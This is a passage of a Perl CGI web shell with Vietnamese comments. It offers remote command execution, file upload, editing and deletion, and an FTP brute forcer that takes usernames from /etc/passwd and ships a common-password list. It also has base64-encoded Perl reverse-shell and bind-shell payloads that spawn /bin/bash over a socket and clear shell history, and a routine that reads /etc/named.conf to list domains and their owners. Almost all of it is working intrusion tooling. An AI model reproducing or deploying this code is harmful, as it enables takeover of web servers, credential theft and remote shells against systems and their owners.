exists.<br>\";\r\n\t}\r\n\telse # file is not present\r\n\t{\r\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\r\n\t\t{\r\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\r\n\t\t\tprint UPLOADFILE \$in{'filedata'};\r\n\t\t\tclose(UPLOADFILE);\r\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\r\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$result .= \"Failed: \$!<br>\";\r\n\t\t}\r\n\t}\r\n\t\$result .= &PrintCommandLineInputForm;\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to download a file. If the\r\n# filename is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it displays a message to the user and provides a link\r\n# through  which the file can be downloaded.\r\n#------------------------------------------------------------------------------\r\nsub DownloadFile\r\n{\r\n\t# if no file is specified, print the download form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\treturn &PrintFileDownloadForm;\r\n\t}\r\n\t\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\treturn &SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called to execute commands. It displays the output of the\r\n# command and allows the user to enter another command. The change directory\r\n# command is handled differently. In this case, the new directory is stored in\r\n# an internal variable and is used each time a command has to be executed. The\r\n# output of the change directory command is not displayed to the users\r\n# therefore error messages cannot be displayed.\r\n#------------------------------------------------------------------------------\r\nsub ExecuteCommand\r\n{\r\n\t\$CurrentDir = &TrimSlashes(\$CurrentDir);\r\n\tmy \$result=\"\";\r\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\r\n\t{\r\n\t\t# we change the directory internally. The output of the\r\n\t\t# command is not displayed.\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\r\n\t\tchomp(\$CurrentDir = `\$Command`);\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\r\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\r\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\r\n\t\t\$result .= &RunCmd;\r\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\r\n\t{\r\n\t\t\$result .=  &SaveFileForm;\r\n\t}else\r\n\t{\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t\$result .=&RunCmd;\r\n\t}\r\n\t\$result .=  \"</textarea>\";\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------\r\n# run command\r\n#------------------------------------------------------------------------\r\nsub RunCmd\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\r\n\t\talarm(\$CommandTimeoutDuration);\r\n\t}\r\n\tif(\$ShowDynamicOutput) # show output as it is generated\r\n\t{\r\n\t\t\$|=1;\r\n\t\t\$Command .= \" |\";\r\n\t\topen(CommandOutput, \$Command);\r\n\t\twhile(<CommandOutput>)\r\n\t\t{\r\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\r\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\r\n\t\t}\r\n\t\t\$|=0;\r\n\t}\r\n\telse # show output after command completes\r\n\t{\r\n\t\t\$result .= &HtmlSpecialChars(\$Command);\r\n\t}\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t}\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Form Save File \r\n#==============================================================================\r\nsub SaveFileForm\r\n{\r\n\tmy \$result =\"\";\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tsubstr(\$RunCommand,0,5)=\"\";\r\n\tmy \$file=&trim(\$RunCommand);\r\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\r\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\r\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\r\n\tif(-w \$File)\r\n\t{\r\n\t\t\$rows=\"23\"\r\n\t}else\r\n\t{\r\n\t\t\$msg=\"<br><font style='color: yellow;' > Cann't write file!<font><br>\";\r\n\t\t\$rows=\"20\"\r\n\t}\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\t\$RunCommand = \"edit \$RunCommand\";\r\n\t\$result .=  <<END;\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n\t<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n\t\$Prompt\r\n\t<input type=\"text\" size=\"40\" name=\"c\">\r\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\r\n\t<br>Command: <run> \$RunCommand </run>\r\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\r\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\r\nEND\r\n\t\r\n\t\$result .= &HtmlSpecialChars(&FileOpen(\$File,0));\r\n\t\$result .= \"</textarea>\";\r\n\t\$result .= \"</form>\";\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# File Open\r\n#==============================================================================\r\nsub FileOpen(\$){\r\n\tmy \$file = shift;\r\n\tmy \$binary = shift;\r\n\tmy \$result = \"\";\r\n\tmy \$n = \"\";\r\n\tif(-f \$file){\r\n\t\tif(open(FILE,\$file)){\r\n\t\t\tif(\$binary){\r\n\t\t\t\tbinmode FILE;\r\n\t\t\t}\r\n\t\t\twhile ((\$n = read FILE, \$data, 1024) != 0) {\r\n\t\t\t\t\$result .= \$data;\r\n\t\t\t}\r\n\t\t\tclose(FILE);\r\n\t\t}\r\n\t}else\r\n\t{\r\n\t\treturn \"Not's a File!\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Save File\r\n#==============================================================================\r\nsub SaveFile(\$)\r\n{\r\n\tmy \$Data= shift ;\r\n\tmy \$File= shift;\r\n\t\$File=\$CurrentDir.\$PathSep.\$File;\r\n\tif(open(FILE, \">\$File\"))\r\n\t{\r\n\t\tbinmode FILE;\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\treturn 1;\r\n\t}else\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer Form\r\n#------------------------------------------------------------------------------\r\nsub BruteForcerForm\r\n{\r\n\tmy \$result=\"\";\r\n\t\$result .= <<END;\r\n\r\n<table>\r\n\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\n####################################<br>\r\nSimple FTP brute forcer<br>\r\nNote: Only scan from 1 to 3 user :-S<br>\r\n####################################\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\r\nEND\r\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\r\n\$result .= <<'END';\r\n</textarea></td>\r\n<td>\r\n\r\nPass:<br>\r\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\r\n123!@#\r\n123admin\r\n123abc\r\n123456admin\r\n1234554321\r\n12344321\r\npass123\r\nadmin\r\nadmincp\r\nadministrator\r\nmatkhau\r\npassadmin\r\np@ssword\r\np@ssw0rd\r\npassword\r\n123456\r\n1234567\r\n12345678\r\n123456789\r\n1234567890\r\n111111\r\n000000\r\n222222\r\n333333\r\n444444\r\n555555\r\n666666\r\n777777\r\n888888\r\n999999\r\n123123\r\n234234\r\n345345\r\n456456\r\n567567\r\n678678\r\n789789\r\n123321\r\n456654\r\n654321\r\n7654321\r\n87654321\r\n987654321\r\n0987654321\r\nadmin123\r\nadmin123456\r\nabcdef\r\nabcabc\r\n!@#!@#\r\n!@#\$%^\r\n!@#\$%^&*(\r\n!@#\$\$#@!\r\nabc123\r\nanhyeuem\r\niloveyou</textarea>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\nSleep:<select name=\"sleep\">\r\n\r\n<option>0</option>\r\n<option>1</option>\r\n<option>2</option>\r\n\r\n<option>3</option>\r\n</select> \r\n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\r\n</form>\r\n</table>\r\nEND\r\nreturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer\r\n#------------------------------------------------------------------------------\r\nsub BruteForcer\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Server=\$ENV{'SERVER_ADDR'};\r\n\tif(\$in{'user'} eq \"\")\r\n\t{\r\n\t\t\$result .= &BruteForcerForm;\r\n\t}else\r\n\t{\r\n\t\tuse Net::FTP; \r\n\t\t@user= split(/\\n/, \$in{'user'});\r\n\t\t@pass= split(/\\n/, \$in{'pass'});\r\n\t\tchomp(@user);\r\n\t\tchomp(@pass);\r\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\r\n\t\tforeach \$username (@user)\r\n\t\t{\r\n\t\t\tif(\$username ne \"\")\r\n\t\t\t{\r\n\t\t\t\tforeach \$password (@pass)\r\n\t\t\t\t{\r\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \r\n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\r\n\t\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(\$in{'sleep'} ne \"0\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}) * 1000);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect Form\r\n#------------------------------------------------------------------------------\r\nsub BackBindForm\r\n{\r\n\treturn <<END;\r\n\t<br><br>\r\n\r\n\t<table>\r\n\t<tr>\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\r\n\t Port: <input type=\"text\" size=\"6\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\r\n\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\r\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\r\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table>\r\n\r\n\t<br><br>\r\n\t<table>\r\n\t<tr>\r\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\r\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\r\n\r\n\t Password: <input type=\"text\" size=\"12\" name=\"bindpass\" value=\"vinakid\"></td>\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Testing ....\r\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table><br>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect use perl\r\n#------------------------------------------------------------------------------\r\nsub BackBind\r\n{\r\n\tuse Socket;\t\r\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\r\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\r\n\r\n\t\$ClientAddr = \$in{'clientaddr'};\r\n\t\$ClientPort = int(\$in{'clientport'});\r\n\tif(\$ClientPort eq 0)\r\n\t{\r\n\t\treturn &BackBindForm;\r\n\t}elsif(!\$ClientAddr eq \"\")\r\n\t{\r\n\t\t\$Data=decode_base64(\$backperl);\r\n\t\tif(-w \"/tmp/\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl \$File \$ClientAddr \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}else\r\n\t{\r\n\t\t\$Data=decode_base64(\$bindperl);\r\n\t\tif(-w \"/tmp\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl \$File \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n#  Array List Directory\r\n#------------------------------------------------------------------------------\r\nsub RmDir(\$) \r\n{\r\n\tmy \$dir = shift;\r\n\tif(opendir(DIR,\$dir))\r\n\t{\r\n\t\twhile(\$file = readdir(DIR))\r\n\t\t{\r\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\r\n\t\t\t{\r\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\r\n\t\t\t\tif(-d \$file)\r\n\t\t\t\t{\r\n\t\t\t\t\t&RmDir(\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tunlink(\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tclosedir(DIR);\r\n\t}\r\n}\r\nsub FileOwner(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\treturn \"???\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$name=getpwuid(\$uid);\r\n\t\t\t\$group=getgrgid(\$gid);\r\n\t\t\treturn \$name.\"/\".\$group;\r\n\t\t}\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub ParentFolder(\$)\r\n{\r\n\tmy \$path = shift;\r\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\r\n\tchop(\$path = `\$Comm`);\r\n\treturn \$path;\r\n}\r\nsub FilePerms(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tmy \$ur = \"-\";\r\n\tmy \$uw = \"-\";\r\n\tif(-e \$file)\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\r\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\r\n\t\t\treturn \$ur . \" / \" . \$uw;\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$mode=(stat(\$file))[2];\r\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\r\n\t\t\treturn \$result;\r\n\t\t}\r\n\t}\r\n\treturn \"0000\";\r\n}\r\nsub FileLastModified(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$la) = (stat(\$file))[9];\r\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\r\n\t\t\$y = \$y + 1900;\r\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\r\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\r\n\t\treturn \$lmtime;\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub FileSize(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-f \$file)\r\n\t{\r\n\t\treturn -s \"\$file\";\r\n\t}\r\n\treturn \"0\";\r\n}\r\nsub ParseFileSize(\$)\r\n{\r\n\tmy \$size = shift;\r\n\tif(\$size <= 1024)\r\n\t{\r\n\t\treturn \$size. \" B\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(\$size <= 1024*1024) \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\r\n\t\t\treturn \$size.\" KB\";\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\r\n\t\t\treturn \$size.\" MB\";\r\n\t\t}\r\n\t}\r\n}\r\nsub trim(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string =~ s/^\\s+//;\r\n\t\$string =~ s/\\s+\$//;\r\n\treturn \$string;\r\n}\r\nsub AddSlashes(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string=~ s/\\\\/\\\\\\\\/g;\r\n\treturn \$string;\r\n}\r\nsub TrimSlashes(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string=~ s/\\/\\//\\//g;\r\n\t\$string=~ s/\\\\\\\\/\\\\/g;\r\n\treturn \$string;\r\n}\r\nsub ListDir\r\n{\r\n\tmy \$path = &TrimSlashes(\$CurrentDir.\$PathSep);\r\n\tmy \$result = \"<form name='f' onSubmit=\\\"Encoder('d')\\\" action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' id='d' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\r\n\tif(-d \$path)\r\n\t{\r\n\t\tmy @fname = ();\r\n\t\tmy @dname = ();\r\n\t\tif(opendir(DIR,\$path))\r\n\t\t{\r\n\t\t\twhile(\$file = readdir(DIR))\r\n\t\t\t{\r\n\t\t\t\t\$f=\$path.\$file;\r\n\t\t\t\tif(-d \$f)\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@dname,\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@fname,\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir(DIR);\r\n\t\t}\r\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\r\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\r\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\r\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\r\n\t\t<th width='100'>File Size</th>\r\n\t\t<th width='150'>Owner</th>\r\n\t\t<th width='100'>Permission</th>\r\n\t\t<th width='150'>Last Modified</th>\r\n\t\t<th width='230'>Action</th></tr>\";\r\n\t\tmy \$style=\"notline\";\r\n\t\tmy \$i=0;\r\n\t\tforeach my \$d (@dname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$d = &trim(\$d);\r\n\t\t\t\$dirname=\$d;\r\n\t\t\tif(\$d eq \"..\") \r\n\t\t\t{\r\n\t\t\t\t\$d = &ParentFolder(\$path);\r\n\t\t\t}\r\n\t\t\telsif(\$d eq \".\") \r\n\t\t\t{\r\n\t\t\t\tnext;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t\$d = \$path.\$d;\r\n\t\t\t}\r\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' class='dir'><a  href='?a=gui&d=\".&EncodeDir(\$d).\"'>[ \".\$dirname.\" ]</a></td>\";\r\n\t\t\t\$result .= \"<td>DIR</td>\";\r\n\t\t\t\$result .= \"<td>\".&FileOwner(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\r\n\t\t\t\$result .= \"<td>\".&FileLastModified(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td><a onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"'); return false; \\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\".&EncodeDir(\$path).\"&remove=\$dirname'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\tforeach my \$f (@fname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$file=\$f;\r\n\t\t\t\$f = \$path.\$f;\r\n\t\t\tmy \$action = encode_base64(\"edit \".\$file);\r\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\r\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' class='file'><a href='?a=command&d=\".&EncodeDir(\$path).\"&c=\".\$action.\"'>\".\$file.\"</a></td>\";\r\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\r\n\t\t\t\$result .= \"<td>\".&FileOwner(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\r\n\t\t\t\$result .= \"<td>\".&FileLastModified(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td><a onclick=\\\"rename_form(\$i,'\$file','f'); return false;\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\".&EncodeDir(\$path).\"&remove=\$file'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\t\$result .= \"</table></div>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Try to View List User\r\n#------------------------------------------------------------------------------\r\nsub ViewDomainUser\r\n{\r\n\topen (d0mains, '/etc/named.conf') or \$err=1;\r\n\tmy @cnzs = <d0mains>;\r\n\tclose d0mains;\r\n\tmy \$style=\"line\";\r\n\tmy \$result=\"<h3><font style='font: 15pt Verdana;color: #ff9900;'>Domain + User</font></h3>\";\r\n\tif (\$err)\r\n\t{\r\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\r\n\t\treturn \$result;\r\n\t}else\r\n\t{\r\n\t\t\$result .= '<table id=\"domain\"><tr><th>d0mains</th> <th>User</th></tr>';\r\n\t}\r\n\tforeach my \$one (@cnzs)\r\n\t{\r\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\r\n\t\t{\t\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$filename= trim(\"/etc/valiases/\".\$1);\r\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\r\n\t\t\t\$result .= '<tr style=\"\$style\" width=50%><td><a href=\"http://'.\$1.'\" target=\"_blank\">'.\$1.'</a></td><td> '.\$owner.'</td></tr>';\r\n\t\t}\r\n\t}\r\n\t\$result .= '</table>';\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# View Log\r\n#------------------------------------------------------------------------------\r\nsub ViewLog\r\n{\r\n\t\$EncodeCurrentDir = 